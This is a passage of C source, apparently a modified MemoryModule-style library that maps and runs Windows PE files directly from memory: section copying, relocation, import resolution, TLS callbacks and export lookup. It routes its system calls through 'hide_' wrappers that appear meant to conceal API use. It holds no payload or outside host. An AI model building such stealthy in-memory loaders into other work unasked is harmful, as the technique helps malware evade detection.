1) & ~(alignment - 1); 87 | } 88 | 89 | static inline void *OffsetPointer(void *data, ptrdiff_t offset) { 90 | return (void *)((uintptr_t)data + offset); 91 | } 92 | 93 | static inline void OutputLastError(const char *msg) { 94 | #ifndef DEBUG_OUTPUT 95 | UNREFERENCED_PARAMETER(msg); 96 | #else 97 | LPVOID tmp; 98 | char *tmpmsg; 99 | FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | 100 | FORMAT_MESSAGE_IGNORE_INSERTS, 101 | NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 102 | (LPTSTR)&tmp, 0, NULL); 103 | tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3); 104 | sprintf(tmpmsg, "%s: %s", msg, tmp); 105 | OutputDebugString(tmpmsg); 106 | LocalFree(tmpmsg); 107 | LocalFree(tmp); 108 | #endif 109 | } 110 | 111 | #ifdef _WIN64 112 | static void FreePointerList(POINTER_LIST *head, CustomFreeFunc freeMemory, 113 | void *userdata) { 114 | POINTER_LIST *node = head; 115 | while (node) { 116 | POINTER_LIST *next; 117 | freeMemory(node->address, 0, MEM_RELEASE, userdata); 118 | next = node->next; 119 | free(node); 120 | node = next; 121 | } 122 | } 123 | #endif 124 | 125 | static BOOL CheckSize(size_t size, size_t expected) { 126 | if (size < expected) { 127 | SetLastError(ERROR_INVALID_DATA); 128 | return FALSE; 129 | } 130 | 131 | return TRUE; 132 | } 133 | 134 | static BOOL CopySections(const unsigned char *data, size_t size, 135 | PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module) { 136 | int i, section_size; 137 | unsigned char *codeBase = module->codeBase; 138 | unsigned char *dest; 139 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); 140 | for (i = 0; i < module->headers->FileHeader.NumberOfSections; 141 | i++, section++) { 142 | if (section->SizeOfRawData == 0) { 143 | section_size = old_headers->OptionalHeader.SectionAlignment; 144 | if (section_size > 0) { 145 | dest = (unsigned char *)module->alloc( 146 | codeBase + section->VirtualAddress, section_size, MEM_COMMIT, 147 | PAGE_READWRITE, module->userdata); 148 | if (dest == NULL) { 149 | return FALSE; 150 | } 151 | 152 | dest = codeBase + section->VirtualAddress; 153 | 154 | section->Misc.PhysicalAddress = (DWORD)((uintptr_t)dest & 0xffffffff); 155 | memset(dest, 0, section_size); 156 | } 157 | 158 | continue; 159 | } 160 | 161 | if (!CheckSize(size, section->PointerToRawData + section->SizeOfRawData)) { 162 | return FALSE; 163 | } 164 | 165 | dest = (unsigned char *)module->alloc(codeBase + section->VirtualAddress, 166 | section->SizeOfRawData, MEM_COMMIT, 167 | PAGE_READWRITE, module->userdata); 168 | if (dest == NULL) { 169 | return FALSE; 170 | } 171 | 172 | dest = codeBase + section->VirtualAddress; 173 | memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData); 174 | 175 | section->Misc.PhysicalAddress = (DWORD)((uintptr_t)dest & 0xffffffff); 176 | } 177 | 178 | return TRUE; 179 | } 180 | 181 | static int ProtectionFlags[2][2][2] = { 182 | { 183 | 184 | {PAGE_NOACCESS, PAGE_WRITECOPY}, 185 | {PAGE_READONLY, PAGE_READWRITE}, 186 | }, 187 | { 188 | 189 | {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, 190 | {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}, 191 | }, 192 | }; 193 | 194 | static SIZE_T GetRealSectionSize(PMEMORYMODULE module, 195 | PIMAGE_SECTION_HEADER section) { 196 | DWORD size = section->SizeOfRawData; 197 | if (size == 0) { 198 | if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { 199 | size = module->headers->OptionalHeader.SizeOfInitializedData; 200 | } else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) { 201 | size = module->headers->OptionalHeader.SizeOfUninitializedData; 202 | } 203 | } 204 | return (SIZE_T)size; 205 | } 206 | 207 | static BOOL FinalizeSection(PMEMORYMODULE module, 208 | PSECTIONFINALIZEDATA sectionData) { 209 | DWORD protect, oldProtect; 210 | BOOL executable; 211 | BOOL readable; 212 | BOOL writeable; 213 | 214 | if (sectionData->size == 0) { 215 | return TRUE; 216 | } 217 | 218 | if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) { 219 | if (sectionData->address == sectionData->alignedAddress && 220 | (sectionData->last || 221 | module->headers->OptionalHeader.SectionAlignment == module->pageSize || 222 | (sectionData->size % module->pageSize) == 0)) { 223 | module->free(sectionData->address, sectionData->size, MEM_DECOMMIT, 224 | module->userdata); 225 | } 226 | return TRUE; 227 | } 228 | 229 | executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; 230 | readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0; 231 | writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0; 232 | protect = ProtectionFlags[executable][readable][writeable]; 233 | if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) { 234 | protect |= PAGE_NOCACHE; 235 | } 236 | if (hide_VirtualProtect(sectionData->address, sectionData->size, protect, 237 | &oldProtect) == 0) { 238 | OutputLastError("Error protecting memory page"); 239 | return FALSE; 240 | } 241 | 242 | return TRUE; 243 | } 244 | 245 | static BOOL FinalizeSections(PMEMORYMODULE module) { 246 | int i; 247 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); 248 | #ifdef _WIN64 249 | 250 | uintptr_t imageOffset = 251 | ((uintptr_t)module->headers->OptionalHeader.ImageBase & 252 | 0xffffffff00000000); 253 | #else 254 | static const uintptr_t imageOffset = 0; 255 | #endif 256 | SECTIONFINALIZEDATA sectionData; 257 | sectionData.address = 258 | (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); 259 | sectionData.alignedAddress = 260 | AlignAddressDown(sectionData.address, module->pageSize); 261 | sectionData.size = GetRealSectionSize(module, section); 262 | sectionData.characteristics = section->Characteristics; 263 | sectionData.last = FALSE; 264 | section++; 265 | 266 | for (i = 1; i < module->headers->FileHeader.NumberOfSections; 267 | i++, section++) { 268 | LPVOID sectionAddress = 269 | (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); 270 | LPVOID alignedAddress = AlignAddressDown(sectionAddress, module->pageSize); 271 | SIZE_T sectionSize = GetRealSectionSize(module, section); 272 | 273 | if (sectionData.alignedAddress == alignedAddress || 274 | (uintptr_t)sectionData.address + sectionData.size > 275 | (uintptr_t)alignedAddress) { 276 | if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || 277 | (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) { 278 | sectionData.characteristics = 279 | (sectionData.characteristics | section->Characteristics) & 280 | ~IMAGE_SCN_MEM_DISCARDABLE; 281 | } else { 282 | sectionData.characteristics |= section->Characteristics; 283 | } 284 | sectionData.size = 285 | (((uintptr_t)sectionAddress) + ((uintptr_t)sectionSize)) - 286 | (uintptr_t)sectionData.address; 287 | continue; 288 | } 289 | 290 | if (!FinalizeSection(module, §ionData)) { 291 | return FALSE; 292 | } 293 | sectionData.address = sectionAddress; 294 | sectionData.alignedAddress = alignedAddress; 295 | sectionData.size = sectionSize; 296 | sectionData.characteristics = section->Characteristics; 297 | } 298 | sectionData.last = TRUE; 299 | if (!FinalizeSection(module, §ionData)) { 300 | return FALSE; 301 | } 302 | return TRUE; 303 | } 304 | 305 | static BOOL ExecuteTLS(PMEMORYMODULE module) { 306 | unsigned char *codeBase = module->codeBase; 307 | PIMAGE_TLS_DIRECTORY tls; 308 | PIMAGE_TLS_CALLBACK *callback; 309 | 310 | PIMAGE_DATA_DIRECTORY directory = 311 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS); 312 | if (directory->VirtualAddress == 0) { 313 | return TRUE; 314 | } 315 | 316 | tls = (PIMAGE_TLS_DIRECTORY)(codeBase + directory->VirtualAddress); 317 | callback = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks; 318 | if (callback) { 319 | while (*callback) { 320 | (*callback)((LPVOID)codeBase, DLL_PROCESS_ATTACH, NULL); 321 | callback++; 322 | } 323 | } 324 | return TRUE; 325 | } 326 | 327 | static BOOL PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta) { 328 | unsigned char *codeBase = module->codeBase; 329 | PIMAGE_BASE_RELOCATION relocation; 330 | 331 | PIMAGE_DATA_DIRECTORY directory = 332 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC); 333 | if (directory->Size == 0) { 334 | return (delta == 0); 335 | } 336 | 337 | relocation = (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress); 338 | for (; relocation->VirtualAddress > 0;) { 339 | DWORD i; 340 | unsigned char *dest = codeBase + relocation->VirtualAddress; 341 | unsigned short *relInfo = (unsigned short *)OffsetPointer( 342 | relocation, IMAGE_SIZEOF_BASE_RELOCATION); 343 | for (i = 0; 344 | i < ((relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2); 345 | i++, relInfo++) { 346 | int type = *relInfo >> 12; 347 | 348 | int offset = *relInfo & 0xfff; 349 | 350 | switch (type) { 351 | case IMAGE_REL_BASED_ABSOLUTE: 352 | 353 | break; 354 | 355 | case IMAGE_REL_BASED_HIGHLOW: 356 | 357 | { 358 | DWORD *patchAddrHL = (DWORD *)(dest + offset); 359 | *patchAddrHL += (DWORD)delta; 360 | } break; 361 | 362 | #ifdef _WIN64 363 | case IMAGE_REL_BASED_DIR64: { 364 | ULONGLONG *patchAddr64 = (ULONGLONG *)(dest + offset); 365 | *patchAddr64 += (ULONGLONG)delta; 366 | } break; 367 | #endif 368 | 369 | default: 370 | 371 | break; 372 | } 373 | } 374 | 375 | relocation = (PIMAGE_BASE_RELOCATION)OffsetPointer(relocation, 376 | relocation->SizeOfBlock); 377 | } 378 | return TRUE; 379 | } 380 | 381 | static BOOL BuildImportTable(PMEMORYMODULE module) { 382 | unsigned char *codeBase = module->codeBase; 383 | PIMAGE_IMPORT_DESCRIPTOR importDesc; 384 | BOOL result = TRUE; 385 | 386 | PIMAGE_DATA_DIRECTORY directory = 387 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT); 388 | if (directory->Size == 0) { 389 | return TRUE; 390 | } 391 | 392 | importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress); 393 | for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && 394 | importDesc->Name; 395 | importDesc++) { 396 | uintptr_t *thunkRef; 397 | FARPROC *funcRef; 398 | HCUSTOMMODULE *tmp; 399 | HCUSTOMMODULE handle = module->loadLibrary( 400 | (LPCSTR)(codeBase + importDesc->Name), module->userdata); 401 | if (handle == NULL) { 402 | SetLastError(ERROR_MOD_NOT_FOUND); 403 | result = FALSE; 404 | break; 405 | } 406 | 407 | tmp = (HCUSTOMMODULE *)realloc( 408 | module->modules, (module->numModules + 1) * (sizeof(HCUSTOMMODULE))); 409 | if (tmp == NULL) { 410 | module->freeLibrary(handle, module->userdata); 411 | SetLastError(ERROR_OUTOFMEMORY); 412 | result = FALSE; 413 | break; 414 | } 415 | module->modules = tmp; 416 | 417 | module->modules[module->numModules++] = handle; 418 | if (importDesc->OriginalFirstThunk) { 419 | thunkRef = (uintptr_t *)(codeBase + importDesc->OriginalFirstThunk); 420 | funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk); 421 | } else { 422 | thunkRef = (uintptr_t *)(codeBase + importDesc->FirstThunk); 423 | funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk); 424 | } 425 | for (; *thunkRef; thunkRef++, funcRef++) { 426 | if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { 427 | *funcRef = module->getProcAddress( 428 | handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata); 429 | } else { 430 | PIMAGE_IMPORT_BY_NAME thunkData = 431 | (PIMAGE_IMPORT_BY_NAME)(codeBase + (*thunkRef)); 432 | *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, 433 | module->userdata); 434 | } 435 | if (*funcRef == 0) { 436 | result = FALSE; 437 | break; 438 | } 439 | } 440 | 441 | if (!result) { 442 | module->freeLibrary(handle, module->userdata); 443 | SetLastError(ERROR_PROC_NOT_FOUND); 444 | break; 445 | } 446 | } 447 | 448 | return result; 449 | } 450 | 451 | LPVOID MemoryDefaultAlloc(LPVOID address, SIZE_T size, DWORD allocationType, 452 | DWORD protect, void *userdata) { 453 | UNREFERENCED_PARAMETER(userdata); 454 | return hide_VirtualAlloc(address, size, allocationType, protect); 455 | } 456 | 457 | BOOL MemoryDefaultFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType, 458 | void *userdata) { 459 | UNREFERENCED_PARAMETER(userdata); 460 | return hide_VirtualFree(lpAddress, dwSize, dwFreeType); 461 | } 462 | 463 | HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR filename, void *userdata) { 464 | HMODULE result; 465 | UNREFERENCED_PARAMETER(userdata); 466 | result = HLoadLibrary(filename); 467 | if (result == NULL) { 468 | return NULL; 469 | } 470 | 471 | return (HCUSTOMMODULE)result; 472 | } 473 | 474 | FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE module, LPCSTR name, 475 | void *userdata) { 476 | UNREFERENCED_PARAMETER(userdata); 477 | return (FARPROC)GetProcAddress((HMODULE)module, name); 478 | } 479 | 480 | void MemoryDefaultFreeLibrary(HCUSTOMMODULE module, void *userdata) { 481 | UNREFERENCED_PARAMETER(userdata); 482 | FreeLibrary((HMODULE)module); 483 | } 484 | 485 | HMEMORYMODULE MemoryLoadLibrary(const void *data, size_t size) { 486 | return MemoryLoadLibraryEx(data, size, MemoryDefaultAlloc, MemoryDefaultFree, 487 | MemoryDefaultLoadLibrary, 488 | MemoryDefaultGetProcAddress, 489 | MemoryDefaultFreeLibrary, NULL); 490 | } 491 | 492 | HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size, 493 | CustomAllocFunc allocMemory, 494 | CustomFreeFunc freeMemory, 495 | CustomLoadLibraryFunc loadLibrary, 496 | CustomGetProcAddressFunc getProcAddress, 497 | CustomFreeLibraryFunc freeLibrary, 498 | void *userdata) { 499 | PMEMORYMODULE result = NULL; 500 | PIMAGE_DOS_HEADER dos_header; 501 | PIMAGE_NT_HEADERS old_header; 502 | unsigned char *code, *headers; 503 | ptrdiff_t locationDelta; 504 | SYSTEM_INFO sysInfo; 505 | PIMAGE_SECTION_HEADER section; 506 | DWORD i; 507 | size_t optionalSectionSize; 508 | size_t lastSectionEnd = 0; 509 | size_t alignedImageSize; 510 | #ifdef _WIN64 511 | POINTER_LIST *blockedMemory = NULL; 512 | #endif 513 | 514 | if (!CheckSize(size, sizeof(IMAGE_DOS_HEADER))) { 515 | return NULL; 516 | } 517 | dos_header = (PIMAGE_DOS_HEADER)data; 518 | if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { 519 | SetLastError(ERROR_BAD_EXE_FORMAT); 520 | return NULL; 521 | } 522 | 523 | if (!CheckSize(size, dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS))) { 524 | return NULL; 525 | } 526 | old_header = (PIMAGE_NT_HEADERS) & 527 | ((const unsigned char *)(data))[dos_header->e_lfanew]; 528 | if (old_header->Signature != IMAGE_NT_SIGNATURE) { 529 | SetLastError(ERROR_BAD_EXE_FORMAT); 530 | return NULL; 531 | } 532 | 533 | if (old_header->FileHeader.Machine != HOST_MACHINE) { 534 | SetLastError(ERROR_BAD_EXE_FORMAT); 535 | return NULL; 536 | } 537 | 538 | if (old_header->OptionalHeader.SectionAlignment & 1) { 539 | SetLastError(ERROR_BAD_EXE_FORMAT); 540 | return NULL; 541 | } 542 | 543 | section = IMAGE_FIRST_SECTION(old_header); 544 | optionalSectionSize = old_header->OptionalHeader.SectionAlignment; 545 | for (i = 0; i < old_header->FileHeader.NumberOfSections; i++, section++) { 546 | size_t endOfSection; 547 | if (section->SizeOfRawData == 0) { 548 | endOfSection = section->VirtualAddress + optionalSectionSize; 549 | } else { 550 | endOfSection = section->VirtualAddress + section->SizeOfRawData; 551 | } 552 | 553 | if (endOfSection > lastSectionEnd) { 554 | lastSectionEnd = endOfSection; 555 | } 556 | } 557 | 558 | GetNativeSystemInfo(&sysInfo); 559 | alignedImageSize = 560 | AlignValueUp(old_header->OptionalHeader.SizeOfImage, sysInfo.dwPageSize); 561 | if (alignedImageSize != AlignValueUp(lastSectionEnd, sysInfo.dwPageSize)) { 562 | SetLastError(ERROR_BAD_EXE_FORMAT); 563 | return NULL; 564 | } 565 | 566 | code = (unsigned char *)allocMemory( 567 | (LPVOID)(old_header->OptionalHeader.ImageBase), alignedImageSize, 568 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, userdata); 569 | 570 | if (code == NULL) { 571 | code = (unsigned char *)allocMemory(NULL, alignedImageSize, 572 | MEM_RESERVE | MEM_COMMIT, 573 | PAGE_READWRITE, userdata); 574 | if (code == NULL) { 575 | SetLastError(ERROR_OUTOFMEMORY); 576 | return NULL; 577 | } 578 | } 579 | 580 | #ifdef _WIN64 581 | 582 | while ((((uintptr_t)code) >> 32) < 583 | (((uintptr_t)(code + alignedImageSize)) >> 32)) { 584 | POINTER_LIST *node = (POINTER_LIST *)malloc(sizeof(POINTER_LIST)); 585 | if (!node) { 586 | freeMemory(code, 0, MEM_RELEASE, userdata); 587 | FreePointerList(blockedMemory, freeMemory, userdata); 588 | SetLastError(ERROR_OUTOFMEMORY); 589 | return NULL; 590 | } 591 | 592 | node->next = blockedMemory; 593 | node->address = code; 594 | blockedMemory = node; 595 | 596 | code = (unsigned char *)allocMemory(NULL, alignedImageSize, 597 | MEM_RESERVE | MEM_COMMIT, 598 | PAGE_READWRITE, userdata); 599 | if (code == NULL) { 600 | FreePointerList(blockedMemory, freeMemory, userdata); 601 | SetLastError(ERROR_OUTOFMEMORY); 602 | return NULL; 603 | } 604 | } 605 | #endif 606 | 607 | result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 608 | sizeof(MEMORYMODULE)); 609 | if (result == NULL) { 610 | freeMemory(code, 0, MEM_RELEASE, userdata); 611 | #ifdef _WIN64 612 | FreePointerList(blockedMemory, freeMemory, userdata); 613 | #endif 614 | SetLastError(ERROR_OUTOFMEMORY); 615 | return NULL; 616 | } 617 | 618 | result->codeBase = code; 619 | result->isDLL = 620 | (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; 621 | result->alloc = allocMemory; 622 | result->free = freeMemory; 623 | result->loadLibrary = loadLibrary; 624 | result->getProcAddress = getProcAddress; 625 | result->freeLibrary = freeLibrary; 626 | result->userdata = userdata; 627 | result->pageSize = sysInfo.dwPageSize; 628 | #ifdef _WIN64 629 | result->blockedMemory = blockedMemory; 630 | #endif 631 | 632 | if (!CheckSize(size, old_header->OptionalHeader.SizeOfHeaders)) { 633 | goto error; 634 | } 635 | 636 | headers = (unsigned char *)allocMemory( 637 | code, old_header->OptionalHeader.SizeOfHeaders, MEM_COMMIT, 638 | PAGE_READWRITE, userdata); 639 | 640 | memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders); 641 | result->headers = (PIMAGE_NT_HEADERS) & 642 | ((const unsigned char *)(headers))[dos_header->e_lfanew]; 643 | 644 | result->headers->OptionalHeader.ImageBase = (uintptr_t)code; 645 | 646 | if (!CopySections((const unsigned char *)data, size, old_header, result)) { 647 | goto error; 648 | } 649 | 650 | locationDelta = (ptrdiff_t)(result->headers->OptionalHeader.ImageBase - 651 | old_header->OptionalHeader.ImageBase); 652 | if (locationDelta != 0) { 653 | result->isRelocated = PerformBaseRelocation(result, locationDelta); 654 | } else { 655 | result->isRelocated = TRUE; 656 | } 657 | 658 | if (!BuildImportTable(result)) { 659 | goto error; 660 | } 661 | 662 | if (!FinalizeSections(result)) { 663 | goto error; 664 | } 665 | 666 | if (!ExecuteTLS(result)) { 667 | goto error; 668 | } 669 | 670 | if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) { 671 | if (result->isDLL) { 672 | DllEntryProc DllEntry = 673 | (DllEntryProc)(LPVOID)(code + result->headers->OptionalHeader 674 | .AddressOfEntryPoint); 675 | 676 | BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0); 677 | if (!successfull) { 678 | SetLastError(ERROR_DLL_INIT_FAILED); 679 | goto error; 680 | } 681 | result->initialized = TRUE; 682 | } else { 683 | result->exeEntry = 684 | (ExeEntryProc)(LPVOID)(code + result->headers->OptionalHeader 685 | .AddressOfEntryPoint); 686 | } 687 | } else { 688 | result->exeEntry = NULL; 689 | } 690 | 691 | return (HMEMORYMODULE)result; 692 | 693 | error: 694 | 695 | MemoryFreeLibrary(result); 696 | return NULL; 697 | } 698 | 699 | static int _compare(const void *a, const void *b) { 700 | const struct ExportNameEntry *p1 = (const struct ExportNameEntry *)a; 701 | const struct ExportNameEntry *p2 = (const struct ExportNameEntry *)b; 702 | return strcmp(p1->name, p2->name); 703 | } 704 | 705 | static int _find(const void *a, const void *b) { 706 | LPCSTR *name = (LPCSTR *)a; 707 | const struct ExportNameEntry *p = (const struct ExportNameEntry *)b; 708 | return strcmp(*name, p->name); 709 | } 710 | 711 | FARPROC MemoryGetProcAddress(HMEMORYMODULE mod, LPCSTR name) { 712 | PMEMORYMODULE module = (PMEMORYMODULE)mod; 713 | unsigned char *codeBase = module->codeBase; 714 | DWORD idx = 0; 715 | PIMAGE_EXPORT_DIRECTORY exports; 716 | PIMAGE_DATA_DIRECTORY directory = 717 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_EXPORT); 718 | if (directory->Size == 0) { 719 | SetLastError(ERROR_PROC_NOT_FOUND); 720 | return NULL; 721 | } 722 | 723 | exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress); 724 | if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) { 725 | SetLastError(ERROR_PROC_NOT_FOUND); 726 | return NULL; 727 | } 728 | 729 | if (HIWORD(name) == 0) { 730 | if (LOWORD(name) < exports->Base) { 731 | SetLastError(ERROR_PROC_NOT_FOUND); 732 | return NULL; 733 | } 734 | 735 | idx = LOWORD(name) - exports->Base; 736 | } else if (!exports->NumberOfNames) { 737 | SetLastError(ERROR_PROC_NOT_FOUND); 738 | return NULL; 739 | } else { 740 | const struct ExportNameEntry *found; 741 | 742 | if (!module->nameExportsTable) { 743 | DWORD i; 744 | DWORD *nameRef = (DWORD *)(codeBase + exports->AddressOfNames); 745 | WORD *ordinal = (WORD *)(codeBase + exports->AddressOfNameOrdinals); 746 | struct ExportNameEntry *entry = (struct ExportNameEntry *)malloc( 747 | exports->NumberOfNames * sizeof(struct ExportNameEntry)); 748 | module->nameExportsTable = entry; 749 | if (!entry) { 750 | SetLastError(ERROR_OUTOFMEMORY); 751 | return NULL; 752 | } 753 | for (i = 0; i < exports->NumberOfNames; 754 | i++, nameRef++, ordinal++, entry++) { 755 | entry->name = (const char *)(codeBase + (*nameRef)); 756 | entry->idx = *ordinal; 757 | } 758 | qsort(module->nameExportsTable, exports->NumberOfNames, 759 | sizeof(struct ExportNameEntry), _compare); 760 | } 761 | 762 | found = (const struct ExportNameEntry *)bsearch( 763 | &name, module->nameExportsTable, exports->NumberOfNames, 764 | sizeof(struct ExportNameEntry), _find); 765 | if (!found) { 766 | SetLastError(ERROR_PROC_NOT_FOUND); 767 | return NULL; 768 | } 769 | 770 | idx = found->idx; 771 | } 772 | 773 | if (idx > exports->NumberOfFunctions) { 774 | SetLastError(ERROR_PROC_NOT_FOUND); 775 | return NULL; 776 | } 777 | 778 | return (FARPROC)(LPVOID)(codeBase + 779 | (*(DWORD *)(codeBase + exports->AddressOfFunctions + 780 | (idx * 4)))); 781 | } 782 | 783 | void MemoryFreeLibrary(HMEMORYMODULE mod) { 784 | PMEMORYMODULE module = (PMEMORYMODULE)mod; 785 | 786 | if (module == NULL) { 787 | return; 788 | } 789 | if (module->initialized) { 790 | DllEntryProc DllEntry = 791 | (DllEntryProc)(LPVOID)(module->codeBase + 792 | module->headers->OptionalHeader 793 | .AddressOfEntryPoint); 794 | (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0); 795 | } 796 | 797 | free(module->nameExportsTable); 798 | if (module->modules != NULL) { 799 | int i; 800 | for (i = 0; i < module->numModules; i++) { 801 | if (module->modules[i] != NULL) { 802 | module->freeLibrary(module->modules[i], module->userdata); 803 | } 804 | } 805 | 806 | free(module->modules); 807 | } 808 | 809 | if (module->codeBase != NULL) { 810 | module->free(module->codeBase, 0, MEM_RELEASE, module->userdata); 811 | } 812 | 813 | #ifdef _WIN64 814 | FreePointerList(module->blockedMemory, module->free, module->userdata); 815 | #endif 816 | HeapFree(GetProcessHeap(), 0, module); 817 | } 818 | 819 | int MemoryCallEntryPoint(HMEMORYMODULE mod) { 820 | PMEMORYMODULE module = (PMEMORYMODULE)mod; 821 | 822 | if (module == NULL || module->isDLL || module->exeEntry == NULL || 823 | !module->isRelocated) { 824 | return -1; 825 | } 826 | 827 | return module->exeEntry(); 828 | } 829 | 830 | #define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL) 831 | 832 | HMEMORYRSRC MemoryFindResource(HMEMORYMODULE module, LPCTSTR name, 833 | LPCTSTR type) { 834 | return MemoryFindResourceEx(module, name, type, DEFAULT_LANGUAGE); 835 | } 836 | 837 | static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry( 838 | void *root, PIMAGE_RESOURCE_DIRECTORY resources, LPCTSTR key) { 839 | PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = 840 | (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(resources + 1); 841 | PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL; 842 | DWORD start; 843 | DWORD end; 844 | DWORD middle; 845 | 846 | if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) { 847 | TCHAR *endpos = NULL; 848 | long int tmpkey = (WORD)_tcstol((TCHAR *)&key[1], &endpos, 10); 849 | if (tmpkey <= 0xffff && lstrlen(endpos) == 0) { 850 | key = MAKEINTRESOURCE(tmpkey); 851 | } 852 | } 853 | 854 | if (IS_INTRESOURCE(key)) { 855 | WORD check = (WORD)(uintptr_t)key; 856 | start = resources->NumberOfNamedEntries; 857 | end = start + resources->NumberOfIdEntries; 858 | 859 | while (end > start) { 860 | WORD entryName; 861 | middle = (start + end) >> 1; 862 | entryName = (WORD)entries[middle].Name; 863 | if (check < entryName) { 864 | end = (end != middle ? middle : middle - 1); 865 | } else if (check > entryName) { 866 | start = (start != middle ? middle : middle + 1); 867 | } else { 868 | result = &entries[middle]; 869 | break; 870 | } 871 | } 872 | } else { 873 | LPCWSTR searchKey; 874 | size_t searchKeyLen = _tcslen(key); 875 | #if defined(UNICODE) 876 | searchKey = key; 877 | #else 878 | 879 | #define MAX_LOCAL_KEY_LENGTH 2048 880 | 881 | wchar_t _searchKeySpace[MAX_LOCAL_KEY_LENGTH + 1]; 882 | LPWSTR _searchKey; 883 | if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { 884 | size_t _searchKeySize = (searchKeyLen + 1) * sizeof(wchar_t); 885 | _searchKey = (LPWSTR)malloc(_searchKeySize); 886 | if (_searchKey == NULL) { 887 | SetLastError(ERROR_OUTOFMEMORY); 888 | return NULL; 889 | } 890 | } else { 891 | _searchKey = &_searchKeySpace[0]; 892 | } 893 | 894 | mbstowcs(_searchKey, key, searchKeyLen); 895 | _searchKey[searchKeyLen] = 0; 896 | searchKey = _searchKey; 897 | #endif 898 | start = 0; 899 | end = resources->NumberOfNamedEntries; 900 | while (end > start) { 901 | int cmp; 902 | PIMAGE_RESOURCE_DIR_STRING_U resourceString; 903 | middle = (start + end) >> 1; 904 | resourceString = (PIMAGE_RESOURCE_DIR_STRING_U)OffsetPointer( 905 | root, entries[middle].Name & 0x7FFFFFFF); 906 | cmp = _wcsnicmp(searchKey, resourceString->NameString, 907 | resourceString->Length); 908 | if (cmp == 0) { 909 | if (searchKeyLen > resourceString->Length) { 910 | cmp = 1; 911 | } else if (searchKeyLen < resourceString->Length) { 912 | cmp = -1; 913 | } 914 | } 915 | if (cmp < 0) { 916 | end = (middle != end ? middle : middle - 1); 917 | } else if (cmp > 0) { 918 | start = (middle != start ? middle : middle + 1); 919 | } else { 920 | result = &entries[middle]; 921 | break; 922 | } 923 | } 924 | #if !defined(UNICODE) 925 | if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { 926 | free(_searchKey); 927 | } 928 | #undef MAX_LOCAL_KEY_LENGTH 929 | #endif 930 | } 931 | 932 | return result; 933 | } 934 | 935 | HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE module, LPCTSTR name, 936 | LPCTSTR type, WORD language) { 937 | unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; 938 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY( 939 | (PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_RESOURCE); 940 | PIMAGE_RESOURCE_DIRECTORY rootResources; 941 | PIMAGE_RESOURCE_DIRECTORY nameResources; 942 | PIMAGE_RESOURCE_DIRECTORY typeResources; 943 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType; 944 | PIMAGE_RESOURCE_DIRECTORY_ENTRY 